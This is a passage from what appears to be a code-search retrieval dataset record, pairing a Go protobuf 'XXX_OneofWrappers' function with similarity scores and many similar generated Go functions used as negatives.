m.validateForm(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateLastModifiedOn(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *ApplicationComponentSnapshotInlineSvm) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (m *Order) Validate() error {\n\treturn m.validate(false)\n}", "func (m *CartFullLineItemsItems0GiftCertificatesItems0Recipient) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func (o *GetCustomersCustomerFidSubscriptionsSubscriptionFidAllocationsOKBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// validation for a type composition with models.Envelope\n\tif err := o.Envelope.Validate(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := o.validateData(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *LineItemDigitalItemsItems0) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateCoupons(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateDiscounts(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateImageURL(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateOptions(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateProductID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateQuantity(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateURL(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateVariantID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (m *CoseV001Schema) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateData(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePublicKey(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (o *AccountingInfoOKBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateData(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func (r *Reservation) Validate() bool {\n\tr.Errors = make(map[string]string)\n\n\tif r.Start >= r.End {\n\t\tr.Errors[\"End\"] = \"End Time must be greater than Start Time\"\n\t}\n\n\tsession, err := mgo.Dial(os.Getenv(\"MONGODB_URI\"))\n\tutil.Check(err)\n\tdefer session.Close()\n\tc := session.DB(os.Getenv(\"MONGODB_DB\")).C(COLLECTION)\n\tvar results []Reservation\n\terr = c.Find(bson.M{\"month\": r.Month, \"day\": r.Day, \"year\": r.Year, \"location\": r.Location}).All(&results)\n\tutil.Check(err)\n\tfor _, reservation := range results {\n\t\tif r.End <= reservation.Start {\n\t\t\tcontinue\n\t\t}\n\t\tif r.Start >= reservation.End {\n\t\t\tcontinue\n\t\t}\n\t\ts := fmt.Sprintf(\"Reservation already booked for %s on %s from %s - %s\", reservation.Location.Name, reservation.Date(), reservation.StartTime(), reservation.EndTime())\n\t\tid := fmt.Sprintf(\"%d\", reservation.Id)\n\t\tr.Errors[id] = s\n\t}\n\n\treturn len(r.Errors) == 0\n}", "func (m *SimplePrice) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateCustoms(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePeriod(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validatePrice(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateView(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}" ]
[ "0.77535135", "0.68832195", "0.63057053", "0.6160141", "0.6127618", "0.60754114", "0.5959408", "0.5936703", "0.58403313", "0.58222824", "0.58157027", "0.5754966", "0.5718694", "0.57159406", "0.5708906", "0.55991066", "0.5489397", "0.5459692", "0.54592323", "0.5440314", "0.5438258", "0.5426278", "0.5407536", "0.5400893", "0.53831077", "0.5354476", "0.5344125", "0.5331427", "0.5327785", "0.5322727", "0.53183734", "0.53080475", "0.5287434", "0.52870107", "0.5286648", "0.52856874", "0.52834153", "0.5275947", "0.5260316", "0.5258245", "0.52470237", "0.52376956", "0.52232015", "0.52208084", "0.5218941", "0.5215633", "0.5207376", "0.5206667", "0.5194527", "0.51944596", "0.5192136", "0.5190773", "0.51820487", "0.5179251", "0.5179033", "0.5177606", "0.51712954", "0.51701164", "0.51694757", "0.51656955", "0.5159417", "0.51552284", "0.51518255", "0.51508635", "0.515074", "0.51475656", "0.5146634", "0.5143608", "0.5142954", "0.51410025", "0.5130535", "0.5128046", "0.51262605", "0.5124471", "0.5122367", "0.51155144", "0.5110145", "0.509944", "0.50947726", "0.50928843", "0.5085025", "0.5083567", "0.50821877", "0.50731546", "0.50663847", "0.5066143", "0.5053338", "0.5041893", "0.5040177", "0.50397164", "0.50382847", "0.50377434", "0.5036864", "0.50351083", "0.50248075", "0.50246674", "0.50206304", "0.50193536", "0.50170916", "0.5014676" ]
0.7608615
1
XXX_OneofWrappers is for the internal use of the proto package.
func (*Operation) XXX_OneofWrappers() []interface{} { return []interface{}{ (*Operation_Op1)(nil), (*Operation_Op2)(nil), (*Operation_Op3)(nil), (*Operation_Op4)(nil), (*Operation_Op5)(nil), (*Operation_Op6)(nil), (*Operation_Op7)(nil), (*Operation_Op8)(nil), (*Operation_Op9)(nil), (*Operation_Op10)(nil), (*Operation_Op13)(nil), (*Operation_Op14)(nil), (*Operation_Op16)(nil), (*Operation_Op17)(nil), (*Operation_Op18)(nil), (*Operation_Op19)(nil), (*Operation_Op20)(nil), (*Operation_Op21)(nil), (*Operation_Op22)(nil), (*Operation_Op23)(nil), (*Operation_Op24)(nil), } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (*DRB) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*DRB_NotUsed)(nil),\n\t\t(*DRB_Rohc)(nil),\n\t\t(*DRB_UplinkOnlyROHC)(nil),\n\t}\n}", "func (*Interface) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Interface_Sub)(nil),\n\t\t(*Interface_Memif)(nil),\n\t\t(*Interface_Afpacket)(nil),\n\t\t(*Interface_Tap)(nil),\n\t\t(*Interface_Vxlan)(nil),\n\t\t(*Interface_Ipsec)(nil),\n\t\t(*Interface_VmxNet3)(nil),\n\t\t(*Interface_Bond)(nil),\n\t\t(*Interface_Gre)(nil),\n\t\t(*Interface_Gtpu)(nil),\n\t}\n}", "func (*TwoOneofs) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TwoOneofs_Field1)(nil),\n\t\t(*TwoOneofs_Field2)(nil),\n\t\t(*TwoOneofs_Field3)(nil),\n\t\t(*TwoOneofs_Field34)(nil),\n\t\t(*TwoOneofs_Field35)(nil),\n\t\t(*TwoOneofs_SubMessage2)(nil),\n\t}\n}", "func (*TwoOneofs) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TwoOneofs_Field1)(nil),\n\t\t(*TwoOneofs_Field2)(nil),\n\t\t(*TwoOneofs_Field3)(nil),\n\t\t(*TwoOneofs_Field34)(nil),\n\t\t(*TwoOneofs_Field35)(nil),\n\t\t(*TwoOneofs_SubMessage2)(nil),\n\t}\n}", "func (*TwoOneofs) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TwoOneofs_Field1)(nil),\n\t\t(*TwoOneofs_Field2)(nil),\n\t\t(*TwoOneofs_Field3)(nil),\n\t\t(*TwoOneofs_Field34)(nil),\n\t\t(*TwoOneofs_Field35)(nil),\n\t\t(*TwoOneofs_SubMessage2)(nil),\n\t}\n}", "func (*TwoOneofs) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TwoOneofs_Field1)(nil),\n\t\t(*TwoOneofs_Field2)(nil),\n\t\t(*TwoOneofs_Field3)(nil),\n\t\t(*TwoOneofs_Field34)(nil),\n\t\t(*TwoOneofs_Field35)(nil),\n\t\t(*TwoOneofs_SubMessage2)(nil),\n\t}\n}", "func (*Layer7) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Layer7_Dns)(nil),\n\t\t(*Layer7_Http)(nil),\n\t\t(*Layer7_Kafka)(nil),\n\t}\n}", "func (*Layer7) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Layer7_Dns)(nil),\n\t\t(*Layer7_Http)(nil),\n\t\t(*Layer7_Kafka)(nil),\n\t}\n}", "func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_NewRoundStep)(nil),\n\t\t(*Message_NewValidBlock)(nil),\n\t\t(*Message_Proposal)(nil),\n\t\t(*Message_ProposalPol)(nil),\n\t\t(*Message_BlockPart)(nil),\n\t\t(*Message_Vote)(nil),\n\t\t(*Message_HasVote)(nil),\n\t\t(*Message_VoteSetMaj23)(nil),\n\t\t(*Message_VoteSetBits)(nil),\n\t}\n}", "func (*GroupMod) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GroupMod_L2Iface)(nil),\n\t\t(*GroupMod_L3Unicast)(nil),\n\t\t(*GroupMod_MplsIface)(nil),\n\t\t(*GroupMod_MplsLabel)(nil),\n\t}\n}", "func (*Layer4) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Layer4_TCP)(nil),\n\t\t(*Layer4_UDP)(nil),\n\t\t(*Layer4_ICMPv4)(nil),\n\t\t(*Layer4_ICMPv6)(nil),\n\t}\n}", "func (*Layer4) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Layer4_TCP)(nil),\n\t\t(*Layer4_UDP)(nil),\n\t\t(*Layer4_ICMPv4)(nil),\n\t\t(*Layer4_ICMPv6)(nil),\n\t}\n}", "func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_Init)(nil),\n\t\t(*Message_File)(nil),\n\t\t(*Message_Resize)(nil),\n\t\t(*Message_Signal)(nil),\n\t}\n}", "func (*Example) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Example_A)(nil),\n\t\t(*Example_BJk)(nil),\n\t}\n}", "func (*ExampleMsg) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ExampleMsg_SomeString)(nil),\n\t\t(*ExampleMsg_SomeNumber)(nil),\n\t\t(*ExampleMsg_SomeBool)(nil),\n\t}\n}", "func (*WALMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*WALMessage_EventDataRoundState)(nil),\n\t\t(*WALMessage_MsgInfo)(nil),\n\t\t(*WALMessage_TimeoutInfo)(nil),\n\t\t(*WALMessage_EndHeight)(nil),\n\t}\n}", "func (*Modulation) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Modulation_Lora)(nil),\n\t\t(*Modulation_Fsk)(nil),\n\t\t(*Modulation_LrFhss)(nil),\n\t}\n}", "func (*TestVersion2) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TestVersion2_E)(nil),\n\t\t(*TestVersion2_F)(nil),\n\t}\n}", "func (*TestVersion1) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TestVersion1_E)(nil),\n\t\t(*TestVersion1_F)(nil),\n\t}\n}", "func (*CodebookType_Type1) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*CodebookType_Type1_TypeI_SinglePanel)(nil),\n\t\t(*CodebookType_Type1_TypeI_MultiPanell)(nil),\n\t}\n}", "func (*DRB_ToAddMod) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*DRB_ToAddMod_Eps_BearerIdentity)(nil),\n\t\t(*DRB_ToAddMod_Sdap_Config)(nil),\n\t}\n}", "func (*TestVersion3) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TestVersion3_E)(nil),\n\t\t(*TestVersion3_F)(nil),\n\t}\n}", "func (*Bitmaps) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Bitmaps_OneSlot)(nil),\n\t\t(*Bitmaps_TwoSlots)(nil),\n\t\t(*Bitmaps_N2)(nil),\n\t\t(*Bitmaps_N4)(nil),\n\t\t(*Bitmaps_N5)(nil),\n\t\t(*Bitmaps_N8)(nil),\n\t\t(*Bitmaps_N10)(nil),\n\t\t(*Bitmaps_N20)(nil),\n\t\t(*Bitmaps_N40)(nil),\n\t}\n}", "func (*Bit) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Bit_DecimalValue)(nil),\n\t\t(*Bit_LongValue)(nil),\n\t}\n}", "func (*SeldonMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*SeldonMessage_Data)(nil),\n\t\t(*SeldonMessage_BinData)(nil),\n\t\t(*SeldonMessage_StrData)(nil),\n\t\t(*SeldonMessage_JsonData)(nil),\n\t\t(*SeldonMessage_CustomData)(nil),\n\t}\n}", "func (*TestVersionFD1) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TestVersionFD1_E)(nil),\n\t\t(*TestVersionFD1_F)(nil),\n\t}\n}", "func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_Pubkey)(nil),\n\t\t(*Message_EncK)(nil),\n\t\t(*Message_Mta)(nil),\n\t\t(*Message_Delta)(nil),\n\t\t(*Message_ProofAi)(nil),\n\t\t(*Message_CommitViAi)(nil),\n\t\t(*Message_DecommitViAi)(nil),\n\t\t(*Message_CommitUiTi)(nil),\n\t\t(*Message_DecommitUiTi)(nil),\n\t\t(*Message_Si)(nil),\n\t}\n}", "func (*TestUnit) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TestUnit_GceTestCfg)(nil),\n\t\t(*TestUnit_HwTestCfg)(nil),\n\t\t(*TestUnit_MoblabVmTestCfg)(nil),\n\t\t(*TestUnit_TastVmTestCfg)(nil),\n\t\t(*TestUnit_VmTestCfg)(nil),\n\t}\n}", "func (*Tag) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Tag_DecimalValue)(nil),\n\t\t(*Tag_LongValue)(nil),\n\t\t(*Tag_StringValue)(nil),\n\t}\n}", "func (*Record) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Record_Local_)(nil),\n\t\t(*Record_Ledger_)(nil),\n\t\t(*Record_Multi_)(nil),\n\t\t(*Record_Offline_)(nil),\n\t}\n}", "func (*GeneratedObject) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GeneratedObject_DestinationRule)(nil),\n\t\t(*GeneratedObject_EnvoyFilter)(nil),\n\t\t(*GeneratedObject_ServiceEntry)(nil),\n\t\t(*GeneratedObject_VirtualService)(nil),\n\t}\n}", "func (*Packet) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Packet_Deal)(nil),\n\t\t(*Packet_Response)(nil),\n\t\t(*Packet_Justification)(nil),\n\t}\n}", "func (*Response) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Response_ImageVersion)(nil),\n\t\t(*Response_ErrorDescription)(nil),\n\t}\n}", "func (*FlowMod) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*FlowMod_Vlan)(nil),\n\t\t(*FlowMod_TermMac)(nil),\n\t\t(*FlowMod_Mpls1)(nil),\n\t\t(*FlowMod_Unicast)(nil),\n\t\t(*FlowMod_Bridging)(nil),\n\t\t(*FlowMod_Acl)(nil),\n\t}\n}", "func (*MFADevice) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*MFADevice_Totp)(nil),\n\t\t(*MFADevice_U2F)(nil),\n\t}\n}", "func (*MFADevice) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*MFADevice_Totp)(nil),\n\t\t(*MFADevice_U2F)(nil),\n\t}\n}", "func (*MFADevice) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*MFADevice_Totp)(nil),\n\t\t(*MFADevice_U2F)(nil),\n\t}\n}", "func (*P4Data) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*P4Data_Bitstring)(nil),\n\t\t(*P4Data_Varbit)(nil),\n\t\t(*P4Data_Bool)(nil),\n\t\t(*P4Data_Tuple)(nil),\n\t\t(*P4Data_Struct)(nil),\n\t\t(*P4Data_Header)(nil),\n\t\t(*P4Data_HeaderUnion)(nil),\n\t\t(*P4Data_HeaderStack)(nil),\n\t\t(*P4Data_HeaderUnionStack)(nil),\n\t\t(*P4Data_Enum)(nil),\n\t\t(*P4Data_Error)(nil),\n\t\t(*P4Data_EnumValue)(nil),\n\t}\n}", "func (*SSB_ConfigMobility) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*SSB_ConfigMobility_ReleaseSsb_ToMeasure)(nil),\n\t\t(*SSB_ConfigMobility_SetupSsb_ToMeasure)(nil),\n\t}\n}", "func (*SpCellConfig) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*SpCellConfig_ReleaseRlf_TimersAndConstants)(nil),\n\t\t(*SpCellConfig_SetupRlf_TimersAndConstants)(nil),\n\t}\n}", "func (*ServerMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ServerMessage_State)(nil),\n\t\t(*ServerMessage_Runtime)(nil),\n\t\t(*ServerMessage_Event)(nil),\n\t\t(*ServerMessage_Response)(nil),\n\t\t(*ServerMessage_Notice)(nil),\n\t}\n}", "func (*ParaP2PSubMsg) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ParaP2PSubMsg_CommitTx)(nil),\n\t\t(*ParaP2PSubMsg_SyncMsg)(nil),\n\t}\n}", "func (*ServerAuctionMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ServerAuctionMessage_Challenge)(nil),\n\t\t(*ServerAuctionMessage_Success)(nil),\n\t\t(*ServerAuctionMessage_Error)(nil),\n\t\t(*ServerAuctionMessage_Prepare)(nil),\n\t\t(*ServerAuctionMessage_Sign)(nil),\n\t\t(*ServerAuctionMessage_Finalize)(nil),\n\t\t(*ServerAuctionMessage_Account)(nil),\n\t}\n}", "func (*Body) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Body_AsBytes)(nil),\n\t\t(*Body_AsString)(nil),\n\t}\n}", "func (*TagField) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*TagField_DoubleValue)(nil),\n\t\t(*TagField_StringValue)(nil),\n\t\t(*TagField_BoolValue)(nil),\n\t\t(*TagField_TimestampValue)(nil),\n\t\t(*TagField_EnumValue_)(nil),\n\t}\n}", "func (*DatasetVersion) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*DatasetVersion_RawDatasetVersionInfo)(nil),\n\t\t(*DatasetVersion_PathDatasetVersionInfo)(nil),\n\t\t(*DatasetVersion_QueryDatasetVersionInfo)(nil),\n\t}\n}", "func (*GatewayMsg) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GatewayMsg_Demand)(nil),\n\t\t(*GatewayMsg_Supply)(nil),\n\t\t(*GatewayMsg_Target)(nil),\n\t\t(*GatewayMsg_Mbus)(nil),\n\t\t(*GatewayMsg_MbusMsg)(nil),\n\t}\n}", "func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_Chunk)(nil),\n\t\t(*Message_Status)(nil),\n\t\t(*Message_Response)(nil),\n\t}\n}", "func (*BlobDiff) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*BlobDiff_Dataset)(nil),\n\t\t(*BlobDiff_Environment)(nil),\n\t\t(*BlobDiff_Code)(nil),\n\t\t(*BlobDiff_Config)(nil),\n\t}\n}", "func (*BlobDiff) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*BlobDiff_Dataset)(nil),\n\t\t(*BlobDiff_Environment)(nil),\n\t\t(*BlobDiff_Code)(nil),\n\t\t(*BlobDiff_Config)(nil),\n\t}\n}", "func (*BlobDiff) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*BlobDiff_Dataset)(nil),\n\t\t(*BlobDiff_Environment)(nil),\n\t\t(*BlobDiff_Code)(nil),\n\t\t(*BlobDiff_Config)(nil),\n\t}\n}", "func (*DataType) XXX_OneofWrappers() []interface{} {\r\n\treturn []interface{}{\r\n\t\t(*DataType_ListElementType)(nil),\r\n\t\t(*DataType_StructType)(nil),\r\n\t\t(*DataType_TimeFormat)(nil),\r\n\t}\r\n}", "func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_Prepare)(nil),\n\t\t(*Message_Promise)(nil),\n\t\t(*Message_Accept)(nil),\n\t\t(*Message_Accepted)(nil),\n\t\t(*Message_Alert)(nil),\n\t}\n}", "func (*BWP_DownlinkCommon) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*BWP_DownlinkCommon_ReleasePdcch_ConfigCommon)(nil),\n\t\t(*BWP_DownlinkCommon_SetupPdcch_ConfigCommon)(nil),\n\t\t(*BWP_DownlinkCommon_ReleasePdsch_ConfigCommon)(nil),\n\t\t(*BWP_DownlinkCommon_SetupPdsch_ConfigCommon)(nil),\n\t}\n}", "func (*Test) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Test_Get)(nil),\n\t\t(*Test_Create)(nil),\n\t\t(*Test_Set)(nil),\n\t\t(*Test_Update)(nil),\n\t\t(*Test_UpdatePaths)(nil),\n\t\t(*Test_Delete)(nil),\n\t\t(*Test_Query)(nil),\n\t\t(*Test_Listen)(nil),\n\t}\n}", "func (*DownlinkTXInfo) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*DownlinkTXInfo_LoraModulationInfo)(nil),\n\t\t(*DownlinkTXInfo_FskModulationInfo)(nil),\n\t\t(*DownlinkTXInfo_ImmediatelyTimingInfo)(nil),\n\t\t(*DownlinkTXInfo_DelayTimingInfo)(nil),\n\t\t(*DownlinkTXInfo_GpsEpochTimingInfo)(nil),\n\t}\n}", "func (*RpcMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*RpcMessage_RequestHeader)(nil),\n\t\t(*RpcMessage_ResponseHeader)(nil),\n\t}\n}", "func (*Domain_Attribute) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Domain_Attribute_BoolValue)(nil),\n\t\t(*Domain_Attribute_IntValue)(nil),\n\t}\n}", "func (*CellStatusResp) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*CellStatusResp_CellStatus)(nil),\n\t\t(*CellStatusResp_ErrorMsg)(nil),\n\t}\n}", "func (*ClientAuctionMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ClientAuctionMessage_Commit)(nil),\n\t\t(*ClientAuctionMessage_Subscribe)(nil),\n\t\t(*ClientAuctionMessage_Accept)(nil),\n\t\t(*ClientAuctionMessage_Reject)(nil),\n\t\t(*ClientAuctionMessage_Sign)(nil),\n\t\t(*ClientAuctionMessage_Recover)(nil),\n\t}\n}", "func (*GrpcService) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GrpcService_EnvoyGrpc_)(nil),\n\t\t(*GrpcService_GoogleGrpc_)(nil),\n\t}\n}", "func (*GrpcService) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GrpcService_EnvoyGrpc_)(nil),\n\t\t(*GrpcService_GoogleGrpc_)(nil),\n\t}\n}", "func (*GrpcService) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GrpcService_EnvoyGrpc_)(nil),\n\t\t(*GrpcService_GoogleGrpc_)(nil),\n\t}\n}", "func (*GrpcService) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GrpcService_EnvoyGrpc_)(nil),\n\t\t(*GrpcService_GoogleGrpc_)(nil),\n\t}\n}", "func (*GrpcService) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GrpcService_EnvoyGrpc_)(nil),\n\t\t(*GrpcService_GoogleGrpc_)(nil),\n\t}\n}", "func (*GrpcService) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*GrpcService_EnvoyGrpc_)(nil),\n\t\t(*GrpcService_GoogleGrpc_)(nil),\n\t}\n}", "func (*Replay) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Replay_Http)(nil),\n\t\t(*Replay_Sqs)(nil),\n\t\t(*Replay_Amqp)(nil),\n\t\t(*Replay_Kafka)(nil),\n\t}\n}", "func (*ReportConfigInterRAT) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ReportConfigInterRAT_Periodical)(nil),\n\t\t(*ReportConfigInterRAT_EventTriggered)(nil),\n\t\t(*ReportConfigInterRAT_ReportCGI)(nil),\n\t}\n}", "func (*Class) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Class_PerInstance)(nil),\n\t\t(*Class_Lumpsum)(nil),\n\t}\n}", "func (*OneOfMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*OneOfMessage_BinaryValue)(nil),\n\t\t(*OneOfMessage_StringValue)(nil),\n\t\t(*OneOfMessage_BooleanValue)(nil),\n\t\t(*OneOfMessage_IntValue)(nil),\n\t\t(*OneOfMessage_Int64Value)(nil),\n\t\t(*OneOfMessage_DoubleValue)(nil),\n\t\t(*OneOfMessage_FloatValue)(nil),\n\t\t(*OneOfMessage_MsgValue)(nil),\n\t}\n}", "func (*ServiceSpec) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ServiceSpec_Replicated)(nil),\n\t\t(*ServiceSpec_Global)(nil),\n\t\t(*ServiceSpec_ReplicatedJob)(nil),\n\t\t(*ServiceSpec_GlobalJob)(nil),\n\t}\n}", "func (*ReceiveReply) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ReceiveReply_Record_)(nil),\n\t\t(*ReceiveReply_LiiklusEventRecord_)(nil),\n\t}\n}", "func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_PexRequest)(nil),\n\t\t(*Message_PexAddrs)(nil),\n\t}\n}", "func (*ChangeResponse) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*ChangeResponse_Ok)(nil),\n\t\t(*ChangeResponse_Error)(nil),\n\t}\n}", "func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_ExecStarted)(nil),\n\t\t(*Message_ExecCompleted)(nil),\n\t\t(*Message_ExecOutput)(nil),\n\t\t(*Message_LogEntry)(nil),\n\t\t(*Message_Error)(nil),\n\t}\n}", "func (*HealthCheck_Payload) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*HealthCheck_Payload_Text)(nil),\n\t\t(*HealthCheck_Payload_Binary)(nil),\n\t}\n}", "func (*HealthCheck_Payload) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*HealthCheck_Payload_Text)(nil),\n\t\t(*HealthCheck_Payload_Binary)(nil),\n\t}\n}", "func (*HealthCheck_Payload) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*HealthCheck_Payload_Text)(nil),\n\t\t(*HealthCheck_Payload_Binary)(nil),\n\t}\n}", "func (*HealthCheck_Payload) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*HealthCheck_Payload_Text)(nil),\n\t\t(*HealthCheck_Payload_Binary)(nil),\n\t}\n}", "func (*RequestCreateGame) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*RequestCreateGame_LocalMap)(nil),\n\t\t(*RequestCreateGame_BattlenetMapName)(nil),\n\t}\n}", "func (*CellStatusReq) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*CellStatusReq_IsPlayer)(nil),\n\t\t(*CellStatusReq_CellStatus)(nil),\n\t}\n}", "func (*Message) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*Message_Request)(nil),\n\t\t(*Message_Response)(nil),\n\t}\n}", "func (*CreateDatasetVersion) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*CreateDatasetVersion_RawDatasetVersionInfo)(nil),\n\t\t(*CreateDatasetVersion_PathDatasetVersionInfo)(nil),\n\t\t(*CreateDatasetVersion_QueryDatasetVersionInfo)(nil),\n\t}\n}", "func (*InputMessage) XXX_OneofWrappers() []interface{} {\n\treturn []interface{}{\n\t\t(*InputMessage_Init)(nil),\n\t\t(*InputMessage_Data)(nil),\n\t}\n}", "func (*UplinkTXInfo) XXX_OneofWrappers() 